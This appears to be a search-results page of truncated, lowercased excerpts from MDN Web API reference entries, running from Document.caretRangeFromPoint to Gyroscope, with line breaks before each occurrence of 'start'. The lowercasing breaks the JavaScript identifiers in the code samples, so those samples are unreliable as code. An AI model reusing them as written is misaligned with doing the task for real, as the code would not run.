Document.caretRangeFromPoint() - Web APIs
t amet.</p> javascript function insertbreakatpoint(e) { let range; let textnode; let offset; if (document.caretpositionfrompoint) { range = document.caretpositionfrompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrangefrompoint) { range = document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.
startcontainer; offset = range.
startoffset; } // only split text_nodes if (textnode && textnode.nodetype == 3) { let replacement = textnode.splittext(offset); let br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } let paragraphs = document.getelementsbytagname("p"); for (let i = 0; i < paragraphs.length; i++) { paragraphs[i].addeventlist...
Document.createRange() - Web APIs
the document.createrange() method returns a new range object. syntax range = document.createrange(); range is the created range object. example let range = document.createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode, endoffset); notes once a range is created, you need to set its boundary points before you can make use of most of its methods. specifications specification status comment domthe definition of 'document.createrange' in that specification. living standard ...
Document.evaluate() - Web APIs
nodes looking for possible matches. further optimization can be achieved by careful use of the context parameter. for example, if you know the content you are looking for is somewhere inside the body tag, you can use this: document.evaluate(".//h2", document.body, null, xpathresult.any_type, null); notice in the above document.body has been used as the context instead of document so the xpath
starts from the body element. (in this example, the "." is important to indicate that the querying should
start from the context node, document.body. if the "." was left out (leaving //h2) the query would
start from the root node (html) which would be more wasteful.) see introduction to using xpath in javascript for more information. notes xpath expressions can be evaluated on html and xml documen...
Document.getElementsByTagName() - Web APIs
(but see the note below) of found elements in the order they appear in the tree. name is a string representing the name of the elements. the special string "*" represents all elements. the latest w3c specification says elements is an htmlcollection; however, this method returns a nodelist in webkit browsers. see bug 14869 for details. example in the following example, getelementsbytagname()
starts from a particular parent element and searches top-down recursively through the dom from that parent element, building a collection of all descendant elements which match the tag name parameter. this demonstrates both document.getelementsbytagname() and the functionally identical element.getelementsbytagname(), which
starts the search at a specific element within the dom tree. clicking the butto...
Document.getElementsByTagNameNS() - Web APIs
a htmlcollection. as of january 2012, only in webkit browsers is the returned value a pure nodelist. see bug 14869 for details. note: currently parameters in this method are case-sensitive, but they were case-insensitive in firefox 3.5 and before. see the note in browser compatibility section in element.getelementsbytagnamens for details. example in the following example getelementsbytagnamens
starts from a particular parent element, and searches topdown recursively through the dom from that parent element, looking for child elements matching the tag name parameter. note that when the node on which getelementsbytagname is invoked is not the document node, in fact the element.getelementsbytagnamens method is used. to use the following example, just copy/paste it into a new file saved with t...
Document.height - Web APIs
instead, use document.body.clientheight. see element.clientheight. returns the height of the document object. in most cases, this is equal to the <body> element of the current document. ...
Document.importNode() - Web APIs
gument with a default value of true. this default has changed in the latest spec! the new default value is false. best practice: though it's still an optional argument, you should always provide the deep argument for backward and forward compatibility. with gecko 28.0 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3), the console warns developers not to omit the argument.
starting with gecko 29.0 (firefox 29 / thunderbird 29 / seamonkey 2.26)), a shallow clone is defaulted instead of a deep clone. return value the copied importednode in the scope of the importing document. note: importednode's node.parentnode is null, since it has not yet been inserted into the document tree! example const iframe = document.queryselector("iframe"); const oldnode = iframe.
Document.open() - Web APIs
; document.write("<p>the number is 42</p>"); document.close(); notes an automatic document.open() call happens when document.write() is called after the page has loaded. for years firefox and internet explorer additionally erased all javascript variables, etc., in addition to removing all nodes. this is no longer the case.document non-spec'ed parameters to document.open gecko-specific notes
starting with gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.
starting with gecko 1.9.2, document.open() uses the principal of the document whose uri it uses, instead of fetching the principal off the stack. as a result, you can no longer call document.write() into an untrusted document from chrome,...
Document: pointercancel event - Web APIs
rcancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user
started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property prevents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addevent...
Document.popupNode - Web APIs
when a popup attached via the popup or context attributes is opened, the xul document's popupnode property is set to the node that was clicked on. this will be the target of the mouse event that activated the popup. if the popup was opened via the keyboard, the popup node may be set to null. typically, this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context. this property is only set for popups attached via the popup or context attributes. for other types of popups, the value is not changed. ...
Document.querySelector() - Web APIs
the document method queryselector() returns the first element within the document that matches the specified selector, or group of selectors. if no matches are found, null is returned. note: the matching is done using depth-first pre-order traversal of the document's nodes
starting with the first element in the document's markup and iterating through sequential nodes by order of the number of child nodes. syntax element = document.queryselector(selectors); parameters selectors a domstring containing one or more selectors to match. this string must be a valid css selector string; if it isn't, a syntax_err exception is thrown. see locating dom elements using selectors for more about selectors and how to manage them. note: characters that are not part of standard css syntax must be ...
Document.requestStorageAccess() - Web APIs
syntax var promise = document.requeststorageaccess(); parameters none. return value a promise that fulfills with undefined if the access to first-party storage was granted, and rejects if access was denied. when the promise gets resolved, the resolve handler will run as if a user gesture is being processed, whether the promise was fulfilled or rejected: in the former case, code can then
start to call apis that require user activation and things can move forward. in the latter case, code can run to inform the user of why the request failed and what they can do to continue (for example asking them to log in, if that is a requirement). examples document.requeststorageaccess().then( () => { console.log('access granted') }, () => { console.log('access denied') } ); specifications ...
Document.timeline - Web APIs
meline of the current document. this timeline is a special instance of documenttimeline that is automatically created on page load. this timeline is unique to each document and persists for the lifetime of the document including calls to document.open(). the time values for this timeline are calculated as a fixed offset from the global clock such that the zero time corresponds to the navigation
start moment plus a signed delta known as the origin time. prior to establishing the navigation
start moment, the document timeline is inactive. note: a document timeline that is associated with a non-active document is also considered to be inactive. syntax var pagetimeline = document.timeline; var thismoment = pagetimeline.currenttime; value a documenttimeline object. specifications ...
Document: transitionrun event - Web APIs
ent that had the transition applied. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: transitionrun. examples this code adds a listener to the transitionrun event: document.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily
started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): document.ontransitionrun = () => { console.log('transition
started running'); }; see a live example of this event. specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification. working draft initia...
Document.visibilityState - Web APIs
he page is the foreground tab of a non-minimized window. 'hidden' the page content is not visible to the user. in practice this means that the document is either a background tab or part of a minimized window, or the os screen lock is active. 'prerender' the page content is being prerendered and is not visible to the user (considered hidden for purposes of document.hidden). the document may
start in this state, but will never transition to it from another value. note: this was removed from the standard. check compatibility table for details. when the value of this property changes, the visibilitychange event is sent to the document. typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in ...
Document.width - Web APIs
instead, use document.body.clientwidth. see element.clientwidth. returns the width of the <body> element of the current document in pixels. not supported by internet explorer. ...
Document.write() - Web APIs
information is available in the w3c xhtml faq. note: using document.write() in deferred or asynchronous scripts will be ignored and you'll get a message like "a call to document.write() from an asynchronously-loaded external script was ignored" in the error console. note: in edge only, calling document.write() more than once in an <iframe> causes the error "script70: permission denied". note:
starting with version 55, chrome will not execute <script> elements injected via document.write() when specific conditions are met. for more information, refer to intervening against document.write(). specifications specification status comment html living standardthe definition of 'document.write(...)' in that specification. living standard document object...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
/p> javascript content function insertbreakatpoint(e) { var range; var textnode; var offset; if (document.caretpositionfrompoint) { range = document.caretpositionfrompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrangefrompoint) { range = document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.
startcontainer; offset = range.
startoffset; } // only split text_nodes if (textnode.nodetype == 3) { var replacement = textnode.splittext(offset); var br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragra...
DocumentTimeline - Web APIs
xt. properties this interface inherits its property from its parent, animationtimeline. animationtimeline.currenttime returns the time value in milliseconds for this timeline or null if it is inactive. examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. ...
DynamicsCompressorNode() - Web APIs
s nominal range is [0, 40]. ratio: the amount of db change in input for a 1 db change in output. its default value is 12. this parameter is k-rate. its nominal range is [1, 20]. release: the amount of time (in seconds) to increase the gain by 10db. its default value is 0.250. this parameter is k-rate. its nominal range is [0, 1]. threshold: the decibel value above which the compression will
start taking effect. its default value is -24. this parameter is k-rate. its nominal range is [-100, 0]. specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. i...
DynamicsCompressorNode.threshold - Web APIs
the threshold property's default value is -24 and it can be set between -100 and 0. syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.threshold.value = -50; value an audioparam. note: though the audioparam returned is read-only, the value it represents is not. example the below code demonstrates a simple usage of createdynamicscompressor() to add compression to an audio track. ...
DynamicsCompressorNode - Web APIs
ode "clamped-max" channel count 2 channel interpretation "speakers" constructor dynamicscompressornode() creates a new instance of an dynamicscompressornode object. properties inherits properties from its parent, audionode. dynamicscompressornode.threshold read only is a k-rate audioparam representing the decibel value above which the compression will
start taking effect. dynamicscompressornode.knee read only is a k-rate audioparam containing a decibel value representing the range above the threshold where the curve smoothly transitions to the compressed portion. dynamicscompressornode.ratio read only is a k-rate audioparam representing the amount of change, in db, needed in the input for a 1 db change in the output. dynamicscompressornode.re...
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
rrent_query_ext or ext.query_counter_bits_ext. return value depends on pname: if pname is ext.current_query_ext: a webglquery object, which is the currently active query for the given target. if pname is ext.query_counter_bits_ext: a glint indicating the number of bits used to hold the query result for the given target. examples var ext = gl.getextension('ext_disjoint_timer_query'); var
startquery = ext.createqueryext(); ext.querycounterext(
startquery, ext.timestamp_ext); var currentquery = ext.getqueryext(ext.timestamp_ext, ext.current_query_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification. working draft initial definition. ...
EXT_disjoint_timer_query.queryCounterEXT() - Web APIs
xt() method of the webgl api records the current time into the corresponding query object. syntax void ext.querycounterext(query, target); parameters query a webglquery object for which to record the current time. target a glenum specifying the target of the time query. must be ext.timestamp_ext. return value none. examples var ext = gl.getextension('ext_disjoint_timer_query'); var
startquery = ext.createqueryext(); var endquery = ext.createqueryext(); ext.querycounterext(
startquery, ext.timestamp_ext); // ... ext.querycounterext(endquery, ext.timestamp_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification. working draft initial definition. ...
EXT_disjoint_timer_query - Web APIs
mestamp_ext the current time. ext.gpu_disjoint_ext a glboolean indicating whether or not the gpu performed any disjoint operation. methods this extension exposes eight new methods. ext.createqueryext() creates a new webglquery. ext.deletequeryext() deletes a given webglquery. ext.isqueryext() returns true if a given object is a webglquery. ext.beginqueryext() the timer
starts when all commands prior to beginqueryext have been fully executed. ext.endqueryext() the timer stops when all commands prior to endqueryext have been fully executed. ext.querycounterext() records the current time into the corresponding query object. ext.getqueryext() returns information about a query target. ext.getqueryobjectext() return the state of a query object. examples var ...
EffectTiming.delay - Web APIs
the effecttiming dictionary's delay property in the web animations api represents the number of milliseconds to delay the
start of the animation. element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including delay. the value of delay corresponds directly to effecttiming.delay in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. syntax var timingproperties = { delay: delayinmilliseconds }; timingproperties.delay = delayinmilliseconds; value a number specifying the delay, in milliseconds, from the
start of the animation's play cycle to the beginning of its active interval (the time index at which actual animation begins). defaults to 0. examples in the pool of tears exampl...
EffectTiming.direction - Web APIs
beginning to end, in the way we experience the flow of time. "reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth. "alternate-reverse" similar to "alternate", except the animation playback
starts by going from the end of the animation sequence toward the beginning the first iteration, then goes forward during the second, and so forth. examples in the forgotten key example, alice waves her arm up and down by passing her an alternate value for her direction property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)...
Element: MSGestureHold event - Web APIs
ains in the same position for a while. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user
started contacting the touch surface. msgesture_flag_end this value indicates that the user has stopped touching the touch surface. msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification. ...
Element: MSManipulationStateChanged event - Web APIs
it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties. ...
Element.classList - Web APIs
a domtokenlist representing the contents of the element's class attribute. if the class attribute is not set or empty, it returns an empty domtokenlist, i.e. a domtokenlist with the length property equal to 0. the domtokenlist itself is read-only, although you can modify it using the add() and remove() methods. ...
Element: compositionend event - Web APIs
inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('composition
start', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionupdate event - Web APIs
inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('composition
start', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element.computedStyleMap() - Web APIs
the computedstylemap() method of the element interface returns a stylepropertymapreadonly interface which provides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration. syntax var stylepropertymapreadonly = element.computedstylemap() parameters none. return value a stylepropertymapreadonly interface. examples we
start with some simple html: a paragraph with a link, and a definition list to which we will add all the css property / value pairs. <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap(). // get the ele...
Element.getAttributeNS() - Web APIs
ribute() in that it allows you to further specify the requested attribute as being part of a particular namespace, as in the example above, where the attribute is part of the fictional "specialspace" namespace on mozilla. prior to the dom4 specification, this method was specified to return an empty string rather than null for non-existent attributes. however, most browsers instead returned null.
starting with dom4, the specification now says to return null. however, some older browsers return an empty string. for that reason, you should use hasattributens() to check for an attribute's existence prior to calling getattributens() if it is possible that the requested attribute does not exist on the specified element. dom methods dealing with element's attributes: not namespace-aware, most com...
Element.getElementsByTagName() - Web APIs
ame is similar to document.getelementsbytagname(), except that it only searches for elements that are descendants of the specified element. syntax elements = element.getelementsbytagname(tagname) elements is a live htmlcollection of elements with a matching tag name, in the order they appear. if no elements are found, the htmlcollection is empty. element is the element from where the search
starts. only the element's descendants are included, not the element itself. tagname is the qualified name to look for. the special string "*" represents all elements. for compatibility with xhtml, lower-case should be used. example // check the status of each data cell in a table const table = document.getelementbyid('forecast-table'); const cells = table.getelementsbytagname('td'); for (let cell...
Element.getElementsByTagNameNS() - Web APIs
given tag name belonging to the given namespace. it is similar to document.getelementsbytagnamens, except that its search is restricted to descendants of the specified element. syntax elements = element.getelementsbytagnamens(namespaceuri, localname) elements is a live htmlcollection of found elements in the order they appear in the tree. element is the element from where the search should
start. note that only the descendants of this element are included in the search, not the node itself. namespaceuri is the namespace uri of elements to look for (see element.namespaceuri and attr.namespaceuri). for example, if you need to look for xhtml elements, use the xhtml namespace uri, http://www.w3.org/1999/xhtml. localname is either the local name of elements to look for or the special value ...
Element: select event - Web APIs
for all elements in all languages. for example, in html, select events can be dispatched only on form <input type="text"> and <textarea> elements. ...
Event - Web APIs
by internet explorer and eventually adopted into the dom specification in order to ensure existing sites continue to work. ideally, you should try to use event.preventdefault() and event.defaultprevented instead, but you can use returnvalue if you choose to do so. event.srcelement a non-standard alias (from old versions of microsoft internet explorer) for event.target. some other browsers are
starting to support it for web compatibility purposes. event.target read only a reference to the target to which the event was originally dispatched. event.timestamp read only the time at which the event was created (in milliseconds). by specification, this value is time since epoch—but in reality, browsers' definitions vary. in addition, work is underway to change this to be a domhighrestimest...
EventTarget.addEventListener() - Web APIs
s introduces the potential for event listeners handling certain touch events (among others) to block the browser's main thread while it is attempting to handle scrolling, resulting in possibly enormous reduction in performance during scroll handling. to prevent this problem, some browsers (specifically, chrome and firefox) have changed the default value of the passive option to true for the touch
start and touchmove events on the document-level nodes window, document, and document.body. this prevents the event listener from being called, so it can't block page rendering while the user is scrolling. note: see the compatibility table below if you need to know which browsers (and/or which versions of those browsers) implement this altered behavior. you can override this behavior by explicitly ...
Fetch API - Web APIs
safari version 12. chrome version 68. if you are targetting older versions of these browsers, be sure to include credentials: 'same-origin' init option on all api requests that may be affected by cookies/user login state. note: find out more about using the fetch api features in using fetch, and study concepts in fetch basic concepts. aborting a fetch browsers have
started to add experimental support for the abortcontroller and abortsignal interfaces (aka the abort api), which allow operations like fetch and xhr to be aborted if they have not already completed. see the interface pages for more details. fetch interfaces windoworworkerglobalscope.fetch() the fetch() method used to fetch a resource. headers represents response/request headers, allowing you to...
File - Web APIs
th the url of the file is relative to. file implements blob, so it also has the following properties available to it: file.prototype.size read only returns the size of the file in bytes. file.prototype.type read only returns the mime type of the file. instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([
start[, end[, contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob. blob.prototype.stream() transforms the file into a readablestream that can be used to read the file contents. blob.prototype.text() transforms the file into a stream and reads it to completion. it returns a promise that resolves with a usvstring (text). blob.prototype.ar...
FileError - Web APIs
ting. don't run your app from file:// for security reasons, browsers do not allow you to run your app from file://. in fact, many of the powerful storage apis (such as file system, blobbuilder, and filereader) throw errors if you run the app locally from file://. when you're just testing your app, and you don't want to set up a web server, you can bypass the security restriction on chrome. just
start chrome with the --allow-file-access-from-files flag. use the flag only for testing purposes. attribute attribute type description code unsigned short the most appropriate error code for the condition. see error codes for possible values. error codes note: do not rely on the numeric values of the constants, which might change as the specifications contin...
FileList - Web APIs
ement; this lets you access the list of files selected with the <input type="file"> element. it's also used for a list of files dropped into web content when using the drag and drop api; see the datatransfer object for details on this usage. note: prior to gecko 1.9.2, the input element only supported a single file being selected at a time, meaning that the filelist would contain only one file.
starting with gecko 1.9.2, if the input element's multiple attribute is true, the filelist may contain multiple files. using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list. for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first ...
FileReader: abort event - Web APIs
lector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('load
start', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selected...
FileReader: load event - Web APIs
lector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('load
start', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selected...
FileReader: loadend event - Web APIs
lector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('load
start', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selected...
FileReader: progress event - Web APIs
lector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('load
start', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selected...
FileReader.readAsArrayBuffer() - Web APIs
when the read operation is finished, the readystate becomes done, and the loadend is triggered. at that time, the result attribute contains an arraybuffer representing the file's data. newer api available the blob.arraybuffer() method is a newer promise-based api to read a file as an array buffer. syntax instanceoffilereader.readasarraybuffer(blob); parameters blob the blob or file from which to read. ...
FileReader.readAsBinaryString() - Web APIs
when the read operation is finished, the readystate becomes done, and the loadend is triggered. at that time, the result attribute contains the raw binary data from the file. note that this method was once removed from the file api specification, but re-introduced for backward compatibility. using filereader.readasarraybuffer() is recommended. syntax instanceoffilereader.readasbinarystring(blob); parameters blob the blob or file from which to read. ...
FileRequest.lockedFile - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the lockedfile property represents the lockedfile object from which the request was
started. syntax var lockedfile = instanceoffilerequest.lockedfile value a lockedfile object. specifications specification status comment filesystem api editor's draft draft proposal. ...
FileRequest - Web APIs
ng the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. summary the filerequest interface extends the domrequest interface to provide some extra properties necessary for the lockedfile objects. properties filerequest.lockedfile read only the lockedfile object from which the request was
started. filerequest.onprogress a callback handler called repeatedly while the operation represented by the filerequest is in progress. the filerequest interface also inherits from the domrequest interface. methods none. specifications specification status comment filesystem api editor's draft draft proposal. ...
FileSystemDirectoryEntry.getDirectory() - Web APIs
the success callback for this takes the resulting directory entry object and calls getfile() to get a filesystemfileentry object representing the dictionary file; the success callback for this, in turn, creates a new filereader and u...
FileSystemDirectoryEntry.getFile() - Web APIs
the success callback for this takes the resulting directory entry object and calls getfile() to get a filesystemfileentry object representing the dictionary file; the success callback for this, in turn, creates a new filereader and u...
FileSystemDirectoryReader.readEntries() - Web APIs
html = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.preventdefault() to prevent the event from being handled further after we're done. now it's time to
start building the list. first, the list is emptied by setting listing.innerhtml to be empty. that leaves us with an empty ul to begin inserting directory entries into. then we iterate over the items in the list of dropped items. for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either ...
FontFaceSet - Web APIs
their download status. properties fontfaceset.status read only indicates the font-face's loading status. it will be one of 'loading' or 'loaded'. fontfaceset.ready read only promise which resolves once font loading and layout operations have completed. events fontfaceset.onloading an eventlistener called whenever an event of type loading is fired, indicating a font-face set has
started loading. fontfaceset.onloadingdone an eventlistener called whenever an event of type loadingdone is fired, indicating that a font face set has finished loading. fontfaceset.onloadingerror an eventlistener called whenever an event of type loadingerror is fired, indicating that an error occurred whilst loading a font-face set. methods fontfaceset.add() adds a font to the font set. font...
Frame Timing API - Web APIs
aces described in this document is included in using the frame timing api. performance frames the performanceframetiming interface extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constrainting the properties as follows: performanceentry.entrytype set to "frame". performanceentry.name set to the document's address. performanceentry.
starttime set to the domhighrestimestamp when the frame was
started. performanceentry.duration set to a timestamp indicating the difference between the
starttimes of two successive frames. this data, particularly the duration timestamp, can be used to help identify performance problems. frame observers the performance observer interfaces allow an application to register an observer for specific...
Guide to the Fullscreen API - Web APIs
keydown", function(e) { if (e.keycode == 13) { togglefullscreen(); } }, false); toggling fullscreen mode this code is called when the user hits the enter key, as seen above. function togglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this
starts by looking at the value of the fullscreenelement attribute on the document (checking it prefixed with both moz, ms, or webkit). if it's null, the document is currently in windowed mode, so we need to switch to fullscreen mode. switching to fullscreen mode is done by calling element.requestfullscreen(). if fullscreen mode is already active (fullscreenelement is non-null), we call document.exitfu...
Fullscreen API - Web APIs
on(e) { if (e.keycode === 13) { togglefullscreen(); } }, false); toggling full-screen mode this code is called by the event handler above when the user hits the enter key. function togglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this
starts by looking at the value of the document's fullscreenelement attribute. in a real-world deployment, at this time, you'll want to check for prefixed versions of this (mozfullscreenelement, msfullscreenelement, or webkitfullscreenelement, for example). if the value is null, the document is currently in windowed mode, so we need to switch to full-screen mode; otherwise, it's the element that's curre...
Gamepad.axes - Web APIs
specifications specification status comment gamepadthe definition of 'gamepad.axes' in that specification. working draft initial definition ...
Gamepad.buttons - Web APIs
specifications specification status comment gamepadthe definition of 'gamepad.buttons' in that specification. working draft initial definition ...
Gamepad.timestamp - Web APIs
the gamepad.timestamp property of the gamepad interface returns a domhighrestimestamp representing the last time the data for this gamepad was updated. the idea behind this is to allow developers to determine if the axes and button data have been updated from the hardware. the value must be relative to the navigation
start attribute of the performancetiming interface. values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. note: this property is not currently supported anywhere. syntax readonly attribute domhighrestimestamp timestamp; example var gp = navigator.getgamepads()[0]; console.log(gp.timestamp); value a domhighrestimestamp. specifications s...
GlobalEventHandlers.onanimationcancel - Web APIs
gbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the handlecancelevent() function, which is called in response to the animationcancel event, as set up in the html above. all we do here is log information to the console, but you might find other use cases, such as
starting a new animation or effect, or terminating some dependent operation. function handlecancelevent(event) { log("animation canceled", event); }; then we add a method to handle toggle display between "flex" and "none" and establish it as the handler for a click event on the "hide/show" the box button: document.getelementbyid('togglebox').addeventlistener('click', function() { if (box.style.
GlobalEventHandlers.onloadend - Web APIs
adend property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the loadend event is raised (when progress has stopped on the loading of a resource.) syntax img.onloadend = funcref; value funcref is the handler function to be called when the resource's loadend event fires. examples html content <img src="myimage.jpg"> javascript content // 'load
start' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('load
start', function(e) { console.log('image load
started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onplaying - Web APIs
syntax element.onplaying = handlerfunction; var handlerfunction = element.onplaying; handlerfunction is either null or a javascript function specifying the handler for the event. ...
GlobalEventHandlers.onselect - Web APIs
n expression. the function receives a uievent object as its sole argument. examples this example logs the text you select inside a <textarea> element. html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selection
start, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification. living standard ...
Gyroscope.x - Web APIs
e sensor.onreading event callback. in the example below this occurs sixty times a second. let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. gyroscopethe definition of 'x' in that specification. candidate recommendation ...
Gyroscope.y - Web APIs
e sensor.onreading event callback. in the example below this occurs sixty times a second. let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. gyroscopethe definition of 'y' in that specification. candidate recommendation ...
Gyroscope.z - Web APIs
e sensor.onreading event callback. in the example below this occurs sixty times a second. let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. gyroscopethe definition of 'z' in that specification. candidate recommendation ...
Gyroscope - Web APIs
